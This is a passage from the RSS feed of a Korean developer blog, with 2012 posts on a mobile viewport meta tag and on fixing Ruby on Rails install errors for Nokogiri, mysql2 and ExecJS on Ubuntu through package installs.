			<description>난데없이 요상한 곳(?)에 불이 붙어서 요즘 루비 온 레일즈(Ruby On Rails)로 간단한 웹페이지를 만들어 보고 있습니다. ^^;;; 그래봤자 루비 온 레일즈 사이트에 있는 예제를 보고 끄적거리는 수준입니다만, 제 손으로 만든 게 돌아가는 걸 보니 정말 신기하네요. 웹은 돌아가는 것이 눈에 바로 바로 보여서 정말 짱인 것 같습니다. ㅎㅎ&lt;br /&gt;
&lt;br /&gt;
그런데 만든 웹페이지를 스마트폰으로 들어가보니... 글자가 점처럼 보일 정도로 광활하게 나오더군요. 이런... ㅠㅠ 그래서 어떻게 하면 스마트폰에서도 잘 보일까 싶어서 구글 검색을 하던 도중 메타 태그(Meta Tag)를 사용하면 된다는 것을 알았습니다. :) 아래처럼 말이죠.&lt;br /&gt;
&lt;br /&gt;
&lt;p&gt;&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&amp;lt;meta name=&quot;&lt;span style=&quot;font-weight: bold;&quot;&gt;viewport&lt;/span&gt;&quot; content=&quot;width=device-width, 
initial-scale=1.0, maximum-scale=3.0, minimum-scale=0.5, 
user-scalable=yes&quot; /&amp;gt;&lt;br /&gt;
&lt;/p&gt;
&lt;/blockquote&gt;&lt;br /&gt;
위의 각 항목은 아래와 같은 의미를 가지고 있습니다.&lt;br /&gt;
&lt;br /&gt;
- width=device-width : 플랫폼 가로 크기에 맞춤, 수치를 넣으면 그수치에 맞게 맞춰짐(ex, 300px)&lt;br /&gt;
- initial-scale=1.0  : 페이지 로딩시 확대비율&lt;br /&gt;
- maximum-scale=3.0  : 최대확대비율&lt;br /&gt;
- minimum-scale=0.5  : 최소축소비율&lt;br /&gt;
- user-scalable=yes : 사용자의 확대보기 허용 여부(no/yes)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
위의 태그를 넣어주고 모바일 보기 모드일 때 가로 폭을 좀 줄여줬더니 스마트폰에서도 나름대로 볼만한 크기로 잘 나오는군요. ㅎㅎ &lt;br /&gt;
그럼 좋은 하루 되세요 ;)&lt;br /&gt;
&lt;br /&gt;ps)&amp;nbsp; 참고 사이트&lt;br /&gt;
&lt;div style=&quot;margin-left: 4em;&quot;&gt;&lt;a title=&quot;[http://www.readability.com/articles/rw1trgtj]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://www.readability.com/articles/rw1trgtj&quot;&gt;http://www.readability.com/articles/rw1trgtj&lt;/a&gt;&lt;br /&gt;
&lt;a title=&quot;[http://blog.xiles.net/308]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://blog.xiles.net/308&quot;&gt;http://blog.xiles.net/308&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;


&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-795-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-795-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-795-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F795&amp;regts=1328433065&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/Programming%20Tip&quot;&gt;Programming Tip&lt;/a&gt;&amp;nbsp;&gt;&amp;nbsp;&lt;a href=&quot;/category/Programming%20Tip/루비%28Ruby%29&quot;&gt;루비(Ruby)&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/797&quot; &gt;마크다운(Markdown)용 VIM Preview Plugin 사용법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/796&quot; &gt;pre 태그 내부에 글이 길 경우 자동으로 줄바꿈을 해주는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/795&quot; &gt;메타 태그(Meta Tag)를 이용해서 내 웹페이지를 모바일 브라우저에 예쁘게 표시하기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/794&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 Nokogiri 설치 시 libxlst 관련 오류가 발생할 때 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/793&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 bundle package했을 때 mysql2 관련 에러 해결하는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/792&quot; &gt;Ubuntu 11.04에서 rails server를 실행했을 때 JavaScript runtime error 발생하는 경우 해결책...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>루비(Ruby)</category>
			<category>Meta 태그</category>
			<category>루비 온 레일즈</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/795</guid>
			<comments>http://kkamagui.tistory.com/795#entry795comment</comments>
			<pubDate>Sun, 05 Feb 2012 18:08:00 +0900</pubDate>
		</item>
		<item>
			<title>루비 온 레일즈(Ruby on Rails)에서 Nokogiri 설치 시 libxlst 관련 오류가 발생할 때 해결 방법</title>
			<link>http://kkamagui.tistory.com/794</link>
			<description>루비 온 레일즈에서 html 파싱에 사용하는 Nokogiri를 설치할 때 아래처럼 libxslt 관련 오류가 발생하면 libxslt를 설치해주면 됩니다.&lt;br /&gt;
&lt;br /&gt;&lt;blockquote&gt;Installing nokogiri (1.5.0) with native extensions &lt;br /&gt;
Gem::Installer::ExtensionBuildError: ERROR: Failed to build gem native extension.&lt;br /&gt;
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/bin/ruby1.8 extconf.rb &lt;br /&gt;
checking for libxml/parser.h... yes&lt;br /&gt;
checking for libxslt/xslt.h... no&lt;br /&gt;
-----&lt;br /&gt;
libxslt is missing.&amp;nbsp; please visit http://nokogiri.org/tutorials/installing_nokogiri.html for help with installing dependencies.&lt;br /&gt;
-----&lt;br /&gt;
*** extconf.rb failed ***&lt;br /&gt;
Could not create Makefile due to some reason, probably lack of&lt;br /&gt;
necessary libraries and/or headers.&amp;nbsp; Check the mkmf.log file for more&lt;br /&gt;
details.&amp;nbsp; You may need configuration options.&lt;br /&gt;
&lt;br /&gt;Provided configuration options:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; --with-opt-dir&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; --without-opt-dir&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; --with-opt-include&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; --without-opt-include=${opt-dir}/include&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; --with-opt-lib&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; --without-opt-lib=${opt-dir}/lib&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; --with-make-prog&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; --without-make-prog&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; --srcdir=.&lt;/blockquote&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class=&quot;pln&quot;&gt;&lt;span style=&quot;font-family: 굴림;&quot;&gt;&lt;br /&gt;
설치 방법은 다음과 같습니다.&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;blockquote&gt;&lt;code&gt;&lt;span class=&quot;pln&quot;&gt;sudo apt&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;get install libxslt&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;dev libxml2&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;dev&lt;/span&gt;&lt;/code&gt;&lt;/blockquote&gt;&lt;br /&gt;
아아... 고난과 역경의 연속이군요. OTL....&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-794-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-794-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-794-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F794&amp;regts=1328109425&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/Programming%20Tip&quot;&gt;Programming Tip&lt;/a&gt;&amp;nbsp;&gt;&amp;nbsp;&lt;a href=&quot;/category/Programming%20Tip/루비%28Ruby%29&quot;&gt;루비(Ruby)&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/796&quot; &gt;pre 태그 내부에 글이 길 경우 자동으로 줄바꿈을 해주는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/795&quot; &gt;메타 태그(Meta Tag)를 이용해서 내 웹페이지를 모바일 브라우저에 예쁘게 표시하기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/794&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 Nokogiri 설치 시 libxlst 관련 오류가 발생할 때 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/793&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 bundle package했을 때 mysql2 관련 에러 해결하는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/792&quot; &gt;Ubuntu 11.04에서 rails server를 실행했을 때 JavaScript runtime error 발생하는 경우 해결책...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/791&quot; &gt;Ubuntu 11.04에서 Rails 3.2.1 설치 후 sqlite3.h 가 없다고 오류날 때...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>루비(Ruby)</category>
			<category>Nokigiri</category>
			<category>루비 온 레일즈</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/794</guid>
			<comments>http://kkamagui.tistory.com/794#entry794comment</comments>
			<pubDate>Thu, 02 Feb 2012 00:17:05 +0900</pubDate>
		</item>
		<item>
			<title>루비 온 레일즈(Ruby on Rails)에서 bundle package했을 때 mysql2 관련 에러 해결하는 방법</title>
			<link>http://kkamagui.tistory.com/793</link>
			<description>우분투에서 루비 온 레일즈를 이용해서 이것 저것 삽질하고 있습니다. ^^;;;; 아무래도 처음하다보니 이것저것 문제가 많은데요. 이번에는 만든 예제를 릴리즈하려고 bundle package를 하다보니 mysql2 관련 오류를 만났습니다. ㅠㅠ&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;kkamagui@kkamagui-VirtualBox:~/project/blog$ sudo gem install mysql2 -v '0.3.11'Building native extensions.&amp;nbsp; This could take a while...&lt;br /&gt;
ERROR:&amp;nbsp; Error installing mysql2:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ERROR: Failed to build gem native extension.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /usr/bin/ruby1.8 extconf.rb&lt;br /&gt;
checking for rb_thread_blocking_region()... no&lt;br /&gt;
checking for rb_wait_for_single_fd()... no&lt;br /&gt;
checking for mysql_query() in -lmysqlclient... no&lt;br /&gt;
checking for main() in -lm... yes&lt;br /&gt;
checking for mysql_query() in -lmysqlclient... no&lt;br /&gt;
checking for main() in -lz... no&lt;br /&gt;
checking for mysql_query() in -lmysqlclient... no&lt;br /&gt;
checking for main() in -lsocket... no&lt;br /&gt;
checking for mysql_query() in -lmysqlclient... no&lt;br /&gt;
checking for main() in -lnsl... yes&lt;br /&gt;
checking for mysql_query() in -lmysqlclient... no&lt;br /&gt;
checking for main() in -lmygcc... no&lt;br /&gt;
checking for mysql_query() in -lmysqlclient... no&lt;br /&gt;
*** extconf.rb failed ***&lt;br /&gt;
Could not create Makefile due to some reason, probably lack of&lt;br /&gt;
necessary libraries and/or headers.&amp;nbsp; Check the mkmf.log file for more&lt;br /&gt;
details.&amp;nbsp; You may need configuration options.&lt;br /&gt;
&lt;br /&gt;
Provided configuration options:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --with-opt-dir&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --without-opt-dir&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --with-opt-include&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --without-opt-include=${opt-dir}/include&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --with-opt-lib&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --without-opt-lib=${opt-dir}/lib&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --with-make-prog&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --without-make-prog&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --srcdir=.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --curdir&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --ruby=/usr/bin/ruby1.8&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --with-mysql-config&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --without-mysql-config&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --with-mysql-dir&lt;/blockquote&gt;&lt;br /&gt;
역시나 해결책은 구글신이 알려주셨습니다. ㅠㅠ 구글신 쵝오 ㅠㅠ)-b (&lt;a title=&quot;[http://railsforum.com/viewtopic.php?id=40776]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://railsforum.com/viewtopic.php?id=40776&quot;&gt;http://railsforum.com/viewtopic.php?id=40776&lt;/a&gt;)&lt;br /&gt;
아래처럼 libmysqlclient-dev 패키지를 설치하면 깔끔하게 해결됩니다.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;sudo apt-get install libmysqlclient-dev&lt;/blockquote&gt;&lt;br /&gt;
아흑... 뭐라도 하나 제대로 되야할텐데... 쉽지 않네요 ㅠㅠ&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-793-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-793-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-793-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F793&amp;regts=1328020424&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/Programming%20Tip&quot;&gt;Programming Tip&lt;/a&gt;&amp;nbsp;&gt;&amp;nbsp;&lt;a href=&quot;/category/Programming%20Tip/루비%28Ruby%29&quot;&gt;루비(Ruby)&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/795&quot; &gt;메타 태그(Meta Tag)를 이용해서 내 웹페이지를 모바일 브라우저에 예쁘게 표시하기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/794&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 Nokogiri 설치 시 libxlst 관련 오류가 발생할 때 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/793&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 bundle package했을 때 mysql2 관련 에러 해결하는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/792&quot; &gt;Ubuntu 11.04에서 rails server를 실행했을 때 JavaScript runtime error 발생하는 경우 해결책...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/791&quot; &gt;Ubuntu 11.04에서 Rails 3.2.1 설치 후 sqlite3.h 가 없다고 오류날 때...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/773&quot; &gt;루비(Ruby)로 만든 웹사이트 스크랩퍼(Web site scrapper)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/10/23&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>루비(Ruby)</category>
			<category>루비</category>
			<category>루비 온 레일즈</category>
			<category>우분투</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/793</guid>
			<comments>http://kkamagui.tistory.com/793#entry793comment</comments>
			<pubDate>Sat, 28 Jan 2012 17:02:21 +0900</pubDate>
		</item>
		<item>
			<title>Ubuntu 11.04에서 rails server를 실행했을 때 JavaScript runtime error 발생하는 경우 해결책...</title>
			<link>http://kkamagui.tistory.com/792</link>
			<description>우분투(Ubuntu)에서 루비 온 레일즈(Ruby on Rails)버전을 3.2.1로 업그레이드한 뒤에, rails server를 실행했더니 아래와 같은 오류가 발생했습니다. OTL... 정말 이거 원 쉬운 게 하나도 없군요. ㅠㅠ &lt;br /&gt;
&lt;br /&gt;&lt;blockquote&gt;kkamagui@ubuntu:~/rails/blog/script$ rails server&lt;br /&gt;
/usr/lib/ruby/gems/1.8/gems/execjs-1.3.0/lib/execjs/runtimes.rb:50:in `autodetect': Could not find a JavaScript runtime. See https://github.com/sstephenson/execjs for a list of available runtimes. (ExecJS::RuntimeUnavailable)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; from /usr/lib/ruby/gems/1.8/gems/execjs-1.3.0/lib/execjs.rb:5&lt;/blockquote&gt;&lt;br /&gt;
역시 구글을 검색했더니 아래와 같은 해결책을 하사해주셨습니다.(&lt;a title=&quot;[http://stackoverflow.com/questions/6282307/rails-3-1-execjs-and-could-not-find-a-javascript-runtime]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://stackoverflow.com/questions/6282307/rails-3-1-execjs-and-could-not-find-a-javascript-runtime&quot;&gt;http://stackoverflow.com/questions/6282307/rails-3-1-execjs-and-could-not-find-a-javascript-runtime&lt;/a&gt;)&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;post-text&quot;&gt;
&lt;p&gt;&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;In your Gemfile&lt;/p&gt;

&lt;p&gt;write this&lt;/p&gt;

&lt;pre class=&quot;lang-rb prettyprint&quot;&gt;&lt;code&gt;&lt;span class=&quot;pln&quot;&gt;gem &lt;/span&gt;&lt;span class=&quot;str&quot;&gt;'execjs'&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;&lt;br /&gt;
gem &lt;/span&gt;&lt;span class=&quot;str&quot;&gt;'therubyracer'&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;and then run&lt;/p&gt;

&lt;pre class=&quot;lang-rb prettyprint&quot;&gt;&lt;code&gt;&lt;span class=&quot;pln&quot;&gt;bundle install&lt;br /&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;everything works fine for me :)&lt;/p&gt;
